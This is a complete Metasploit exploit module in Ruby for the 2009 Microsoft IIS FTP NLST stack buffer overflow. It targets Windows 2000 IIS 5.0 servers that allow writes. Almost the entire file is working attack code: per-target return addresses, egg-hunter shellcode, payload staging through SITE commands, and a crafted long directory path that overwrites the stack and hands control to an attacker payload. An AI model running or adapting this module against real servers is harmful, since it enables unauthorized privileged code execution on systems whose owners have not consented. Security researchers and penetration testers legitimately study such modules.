require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS FTP Server NLST Response Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
service. The flaw is triggered when a special NLST argument is passed
while the session has changed into a long directory path. For this exploit
to work, the FTP server must be configured to allow write access to the
file system (either anonymously or in conjunction with a real account)
},
'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 11003 $',
'References' =>
[
['URL', 'http://milw0rm.com/exploits/9541'],
['CVE', '2009-3023'],
['OSVDB', '57589'],
['BID', '36189'],
['MSB', 'MS09-053'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload'=>
{
'Space'=> 490,
'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
'StackAdjustment' => -3500,
},
'Platform' => [ 'win' ],
'Targets'=>
[
[
'Windows 2000 SP4 English/Italian (IIS 5.0)',
{
'Ret'=> 0x773d24eb,
'Patch'=> 0x7ffd7ffd
},
],
[
'Windows 2000 SP3 English (IIS 5.0)',
{
'Ret'=> 0x77e42ed8,
'Patch'=> 0x7ffd7ffd
},
],
[
'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',
{
'Ret'=> 0x774fa593,
'Patch'=> 0x7ffd7ffd
},
],
],
'DisclosureDate' => 'Aug 31 2009',
'DefaultTarget' => 0))
register_options([Opt::RPORT(21),], self.class)
end
def exploit
connect_login
based = rand_text_alpha_upper(10)
res = send_cmd( ['MKD', based ], true )
print_status(res.strip)
if (res !~ /directory created/)
print_error("The root directory of the FTP server is not writeable")
disconnect
return
end
res = send_cmd( ['CWD', based ], true )
print_status(res.strip)
egg = rand_text_alpha_upper(4)
hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"
1.upto(5) do
res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true )
end
pre = rand_text_alpha_upper(3)
pst = rand_text_alpha_upper(210)
pst[0, hun.length]= hun
pst[ 90,4]= [target['Patch']].pack('V')
pst[ 94,4]= [target['Patch']].pack('V')
pst[140, 32]= [target['Patch']].pack('V') * 8
pst[158,4]= [target.ret].pack("V")
pst[182,5]= "\xe9" + [-410].pack("V")
pst = pst.gsub("\xff", "\xff\xff")
print_status("Creating long directory...")
res = send_cmd( ['MKD', pre+pst ], true )
print_status(res.strip)
srv = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' =>0,
'SSL' => false,
'Context' => {
'Msf'=> framework,
'MsfExploit' => self,
}
)
add_socket(srv)
begin
thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept }
prt = srv.getsockname[2]
prt1= prt / 256
prt2= prt % 256
addr= Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"
res = send_cmd( ['PORT', addr ], true )
print_status(res.strip)
print_status("Trying target #{target.name}...")
res = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )
print_status(res.strip) if res
select(nil,nil,nil,2)
handler
disconnect
ensure
thr.kill
srv.close
end
end
end